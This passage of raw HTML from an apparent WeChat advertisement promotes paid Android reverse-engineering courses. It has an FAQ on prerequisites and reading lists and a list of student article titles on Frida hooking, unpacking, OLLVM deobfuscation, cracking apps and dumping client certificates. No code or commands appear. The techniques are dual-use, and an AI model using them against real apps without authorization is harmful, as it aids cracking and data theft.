&#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(63, 63, 63);font-size: 15px;letter-spacing: 1px;text-align: justify;"><span leaf="">2W:《Fart中的脱壳点》</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;color: rgb(63, 63, 63);letter-spacing: 1px;"><span leaf="">2W:《Dalvik下动态注册原理追踪 》</span></span></p><p style="text-align: center;margin: 8px 8px 0px;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0046948356807512" data-s="300,640" data-type="png" data-w="213" style="width: 142px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c6e9f922&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F1UG7KPNHN8GzMn9WCdpj3v4BicrYQxMq1ecYqpQMiaQbr7mjFrfkNwWhUuNsjdUx8tbhRBJpTDibaeWRoRIG1xujg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(95, 95, 95);font-size: 14px;text-align: center;"><span leaf="">扫码免费试看</span></span></p><h3 style="margin-top: 20px;margin-left: 8px;margin-right: 8px;"><strong><span style="color: rgb(63, 63, 63);font-size: 15px;letter-spacing: 1px;"><span leaf="">3w班、2w班课程顾问微信：r0ysue（备注“安卓3w班”或“安卓2w班”）</span></span></strong></h3><div data-role="title" data-tools="135编辑器" data-id="108124" style="margin-bottom: 0px;"><div style="text-align: center;margin: 10px 8px;"><div style="display: inline-block;"><div style="background-color: rgb(102, 105, 169);padding: 10px 1px 1px;" hm_fix="360:319"><div style="background-color: rgb(255, 255, 255);padding: 2px 19px;"><p style="font-size: 16px;letter-spacing: 1.5px;"><span leaf="" mpa-font-style="mojv1rtszx1" style="font-size: 15px;" data-mpa-action-id="mojv1rue12ct" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">常见Q&amp;A及预习指南</span></span></p></div></div></div></div></div><p style="margin: 20px 8px 0px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：有优惠么？！有优惠么？！有优惠么？！重要的事情说三遍！！</span></span></strong></span></p><p style="margin: 15px 8px 0px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(95, 95, 95);"><span leaf="">A：没有任何优惠噢~只送开学大礼包，把我们网课中需要准备的设备和环境直接送给大家。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：非常关心ollvm和vmp，可以详细介绍下还原的方法和细节么？</span></span></strong></span></p><p style="margin: 15px 8px 0px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(95, 95, 95);"><span leaf="">A：月薪两万计划推荐至少有实际安卓安全岗位工作经验1年以上为宜。初学者可以先看非虫大佬的《Android软件安全权威指南》等安卓安全书籍进行入门，在看雪论坛看帖发帖提升自身水平，本套课程建议有工作经验的老手前来充电学习。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：想报名网课需要什么样的基础？像我这样的初学者可以报名么？</span></span></strong></span></p><p style="margin: 15px 8px 0px;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(95, 95, 95);"><span leaf="">月薪三万计划视大家实际需求而定，一般看得懂目录及想要学习的人自己就懂，大家不用盲目跟风。如果看不懂目录及不理解目录的具体含义及意义，建议先从两万计划学起，多积累技术和经验。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：学习三万计划之前，需要先掌握两万计划的基础吗？</span></span></strong></span></p><p style="margin: 15px 8px 0px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(95, 95, 95);"><span leaf="">A：不需要，互相独立的。月薪两万计划的定位更加偏向工作岗位一线逆向需求，月薪三万计划则更加偏向于高级调试技巧，二者互为补充，相辅相成。有非常多的大佬两个计划一起报名了，我们也会确保直播时间不会冲突。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：想报三万的班，真的很想学高级技巧；但两万的班中也有很多是我想了解和学习的，大佬给些建议呢？</span></span></strong></span></p><h4 style="margin-top: 15px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(95, 95, 95);"><span leaf="">A：</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">其实推荐两个班一起报，有好几位大佬就是两个班全报的。因为首先价格真心不贵，其实我们会将直播的时间错开，方便大家同时进修三万和两万计划，学习自己想要学习的、心仪的知识。</span></span></span></h4><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：直播答疑如果错过了，是否会有直播内容的回放？</span></span></strong></span></p><p style="margin: 15px 8px 0px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(95, 95, 95);"><span leaf="">A：每一场直播都有回放，在看雪课程平台中可以观看。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(25, 130, 246);"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;"><span leaf="">Q：我已经报名了，趁开班前还想再预习一下，可否给个预习指南，让我好好利用开班前这段时间再恶补一下。</span></span></strong></span></p><p style="margin: 15px 8px 0px;"><span style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(95, 95, 95);"><span leaf="">A：在月薪三万计划中，我们学习的主要目标是，掌握调试、分析和还原ollvm、vmp的方法，定制art虚拟机进行自动化脱壳的方法，主要涉及的技术栈是C\C++还原、arm(64)，C++开发。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(95, 95, 95);"><span leaf="">因此首先推荐邓凡平先生的《深入理解Android：Java虚拟机art》，里面的第五章详细讲解了art虚拟机的实现语言C++11，是阅读art源代码必备的知识；其余部分也详细讲解了Class文件、dex文件和ELF文件的格式和内容，以及art虚拟机的编译、runtime、解释执行、内存、线程等art的技术细节；</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(95, 95, 95);"><span leaf="">推荐的第二本书是《C++反汇编与逆向分析技术揭秘》，按照书中的方法自己编写实验代码对C++使用ndk编译后arm汇编进行对照，掌握c++数据类型、控制流、函数和类在编译后arm汇编的表现形式；希望大家预先掌握这些知识，即使现在不开始看，开课后也会要求大家必须掌握。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(95, 95, 95);"><span leaf="">在月薪两万计划中，我们更加注重的是实际工作中遇到的各种场景、实际工作能力的提升，及解决实际问题的能力。因此各种逆向环境的搭建、逆向的综合能力和利用代码的编写是最关键的，这里主要涉及的技术栈也是比较杂的：比如网络、Ubuntu/安卓系统知识、应用安全开发、Frida/JS/Python等等、Java技巧，比较考验学员的计算机综合技术基础水平。</span></span></p><p style="margin-bottom: 0px;margin-left: 8px;margin-right: 8px;"><span style="font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(95, 95, 95);"><span leaf="">因此我们从工作实践中的需求出发，推荐大家首先强化安卓Java代码的开发、及各种网络和接口的知识，这两大技能被大量应用到应用安全、漏洞检测、渗透测试、黑灰攻防等方向，我们并不推荐具体的书目，只要涉及Java、安卓和网络的图书，都可以。有句话叫做开发的高度，决定了你逆向的高度，希望大家利用好开班前的时间，强化一下Java和网络开发的能力。</span></span></p><div data-mpa-template-id="1419" data-mpa-color="#ffffff" data-mpa-category="divider" style="margin-bottom: 0px;"><p style="margin-right: 16px;margin-left: 16px;padding-right: 0em;padding-left: 0em;max-width: 100%;color: rgb(62, 62, 62);list-style-type: none;text-align: left;line-height: 1.5em;text-indent: 0em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="font-size: 16px;"><span leaf="">优秀学员作品展示：</span></span></strong></p><div style="box-sizing: border-box;font-size: 16px;"><div style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><div style="display: inline-block;width: 578px;vertical-align: top;background-color: rgb(248, 248, 248);box-sizing: border-box;"><div powered-by="xiumi.us" style="box-sizing: border-box;"><div style="margin-top: 20px;margin-bottom: 20px;display: flex;flex-flow: row nowrap;box-sizing: border-box;"><div style="margin-right: 30px;margin-left: 30px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;box-sizing: border-box;"><div powered-by="xiumi.us" style="margin-bottom: 10px;box-sizing: border-box;"><div style="color: rgb(68, 73, 85);box-sizing: border-box;"><div powered-by="xiumi.us" style="margin-bottom: 10px;font-size: 16px;white-space: normal;background-color: rgb(248, 248, 248);"><div style="color: rgb(68, 73, 85);"><p><span style="color: rgb(255, 169, 0);"><strong><span leaf="">#</span></strong></span><span style="color: rgb(63, 63, 63);"><strong><span leaf="">十一月</span></strong></span></p></div></div><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458388301&amp;idx=1&amp;sn=249c802d455cc6cf236bfdecf0424205&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">《使用frida-net脱离pc在手机上直接暴漏app的算法供三方调用》</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458388634&amp;idx=2&amp;sn=984efd9c833854538d175469a4a9b51d&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">《Frida分析违法应用Native层算法》</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458388330&amp;idx=1&amp;sn=1583523d4a6b14aab51b15510163a403&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">《Frida实战：一次违法应用的破解尝试》</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458389297&amp;idx=1&amp;sn=7c12e2cc58b2ec8e76850f987d8e32eb&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">《使用unidbg破解孤挺花字符串混淆并修复so》</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458392229&amp;idx=1&amp;sn=342ccf38f30e4abd2a756c4c391f4b9b&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">《破解某抢票软件的VPN抓包》</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458390617&amp;idx=1&amp;sn=cbde3304d2d0eb2d43b53475d302b3dd&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">《从SSL库的内存漫游开发dump自定义客户端证书的通杀脚本》</span></a></span></span></p><div powered-by="xiumi.us" style="margin-bottom: 10px;font-size: 16px;white-space: normal;background-color: rgb(248, 248, 248);"><div style="color: rgb(68, 73, 85);"><p><span style="color: rgb(255, 169, 0);"><strong><span leaf="">#</span></strong></span><span style="color: rgb(63, 63, 63);"><strong><span leaf="">十月</span></strong></span></p></div></div><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《dexvmp后的算法逆向分析和还原》</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《使用unicorn对ollvm字符串进行解密》</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《Frida追踪定Socket接口自吐游戏APK的服务器IP和地址》</span></span></span></p><p><span style="color: rgb(61, 170, 214);"><span style="font-size: 14px;"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"> Frida hook Java/Native与init_array 自吐最终方案 </span></span></span><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">》</span></span></span></p><div powered-by="xiumi.us" style="margin-bottom: 10px;font-size: 16px;white-space: normal;background-color: rgb(248, 248, 248);"><div style="color: rgb(68, 73, 85);"><p><span style="color: rgb(255, 169, 0);"><strong><span leaf="">#</span></strong></span><span style="color: rgb(63, 63, 63);"><strong><span leaf="">九月</span></strong></span></p></div></div><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《macOS安装调试llvm入门》</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《fart的理解和分析过程》</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《使用ollvm自定义简单的字符串加密》</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">《使用ida trace来还原ollvm混淆的非标准算法》</span></span></span></p><p style="white-space: normal;box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(255, 169, 0);"><strong style="box-sizing: border-box;"><span leaf="">#</span></strong></span><span style="color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;"><span leaf="">八月</span></strong></span></p></div></div><p style="margin-top: 10px;margin-bottom: 10px;white-space: normal;box-sizing: border-box;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458369473&amp;idx=2&amp;sn=cfc804a8f6d4304ea0a8dd5260e25603&amp;chksm=b1808d4b86f7045deec1be6ccdf77e0e990adc7e6cfe635b6602265ea1a396b0cee5dc242f85&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">ollvm算法还原案例分享</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 25px;white-space: normal;box-sizing: border-box;"><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458369471&amp;idx=2&amp;sn=6fd7dcb8ad584bfb35e7a99954f9770b&amp;chksm=b1808d3586f704239b9d4afdefc2657d9883ee756c326e3e048f6475b09eabf8c90a367cbbe7&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">使用Frida打印Java类函数调用关系</span></a></span></span></p><div powered-by="xiumi.us" style="margin-bottom: 10px;white-space: normal;box-sizing: border-box;"><div style="color: rgb(68, 73, 85);box-sizing: border-box;"><p style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(255, 169, 0);"><strong style="box-sizing: border-box;"><span leaf="">#</span></strong></span><span style="color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;"><span leaf="">七月</span></strong></span></p></div></div><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458371673&amp;idx=1&amp;sn=380b59ed002db52f06bbc6123fac3756&amp;chksm=b180f6d386f77fc586aa5cba842e9ba5bf526ae5c7bbca8ec6d0dc5894ed49e231ef5446dd96&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">一个易上手的函数抽取样本还原</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458371683&amp;idx=1&amp;sn=1e23f92d686ebecebfa03e75bad2e0f8&amp;chksm=b180f6e986f77fff1c0dd2d070ebb5a96b64333cfd5c382e404c91f6a97fcc7afb04f79dd56a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">一个自定义classloader的函数抽取壳样本</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458373888&amp;idx=1&amp;sn=5d65f7ce5c94f1c9263f3e6445b3e0aa&amp;chksm=b180ff8a86f7769cb2b61463d2f97b6fc223ceb0c13ad7480d69ee79d4f34a53a4efaa7c1273&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">利用Xposed对ollvm后的so中flag爆破</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458368823&amp;idx=2&amp;sn=30e9fffd478f0b53ea3e36f65c9021a0&amp;chksm=b1808bbd86f702aba81af3cf2b7b996dd7d9a4b1287b14b4ed04eeef89b054f1e43db38db7d3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">使用Frida分析动态注册jni函数绑定流程</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458370933&amp;idx=1&amp;sn=d7ec1bb4c323de63fa48d49dedd90034&amp;chksm=b180f3ff86f77ae93009744c6a07a5bf5b8c322ca254594269e02a57b94cdaf0df469d50faba&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">frida跟踪应用中所有运行在解释模式的java函数</span></a></span></span></p><div powered-by="xiumi.us" style="margin-bottom: 10px;white-space: normal;box-sizing: border-box;"><div style="color: rgb(68, 73, 85);box-sizing: border-box;"><p style="box-sizing: border-box;"><span style="color: rgb(255, 206, 25);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">#</span></strong></span><strong style="box-sizing: border-box;"><span leaf=""> 六月</span></strong></p></div></div><p><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458328424&amp;idx=1&amp;sn=b2dd0ad89dcc848de9bef5f858aa6232&amp;chksm=b1802de286f7a4f48ce20af8e055614b24b04443815b35dd65af7c4729926e36df5da63a54f8&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">举杯邀Frida，对影成三题</span></a></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">从三道题目入手入门frida</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">单纯使用Frida书写类抽取脱壳工具的一些心路历程和实践</span></span></span></p><p><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);">某聊天app的音视频通话逆向</span></span></span></p><div powered-by="xiumi.us" style="margin-bottom: 10px;white-space: normal;box-sizing: border-box;"><div style="color: rgb(68, 73, 85);box-sizing: border-box;"><p style="box-sizing: border-box;"><span style="color: rgb(255, 206, 25);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">#</span></strong></span><strong style="box-sizing: border-box;"><span leaf=""> 五月</span></strong></p></div></div><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458325553&amp;idx=1&amp;sn=01a051c42875196563f0e0188a40dc41&amp;chksm=b18022bb86f7abad3dfeb0048600855a1573c5be3f7c2ca45d11c86553212aecfe2d20e5f656&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">记一次so文件动态解密</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458324549&amp;idx=1&amp;sn=63304cf3e317c0baeba5b1f2a4001987&amp;chksm=b1803ecf86f7b7d9e3f1ed96f3c07c68a565d452023f9ac552f5ef009628244ccdcdf0582be5&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">使用Frida简单实现函数粒度脱壳</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458326049&amp;idx=1&amp;sn=9619bb2acfd775f39315033aa61dfb8e&amp;chksm=b18024ab86f7adbdb4e6e4839718f216bfb5c3c951a67ad4b1b548b6255f4b597de312e58a83&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">初试IDA&amp;FRIDA联合调试简单ollvm保护的加密函数源码</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 25px;"><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458369473&amp;idx=2&amp;sn=cfc804a8f6d4304ea0a8dd5260e25603&amp;chksm=b1808d4b86f7045deec1be6ccdf77e0e990adc7e6cfe635b6602265ea1a396b0cee5dc242f85&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">ollvm算法还原案例分享</span></a></span></span></p><div powered-by="xiumi.us" style="margin-bottom: 10px;white-space: normal;box-sizing: border-box;"><div style="color: rgb(68, 73, 85);box-sizing: border-box;"><p style="box-sizing: border-box;"><span style="color: rgb(255, 206, 25);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">#</span></strong></span><strong style="box-sizing: border-box;"><span leaf=""> 四月</span></strong></p></div></div><p style="margin-top: 10px;margin-bottom: 10px;"><span style="color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 14px;color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458307769&amp;idx=1&amp;sn=21ffa2da566f429499a0f80c598ca87e&amp;chksm=b181fc3386f67525b28eac3bf88966c031b58fe434953cfdc814e93fe7f79bdf9a8bb1bba463&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">java函数转Native化的一些实践</span></a></span></span></p><p style="margin-top: 10px;margin-bottom: 25px;"><span style="font-size: 14px;color: rgb(61, 170, 214);"><span leaf=""><a class="normal_text_link" target="_blank" style="color: rgb(2, 30, 170);" href="http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458307770&amp;idx=1&amp;sn=77b8fcda7abf2c1fad1aae1041f3d28e&amp;chksm=b181fc3086f6752665b8e5dbdfc3352e96bc7d84c8260b3ec08139cda5e602237538c0170720&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">一款最简单的关于动态注册的APP分析</span></a></span></span></p><div powered-by="xiumi.us" 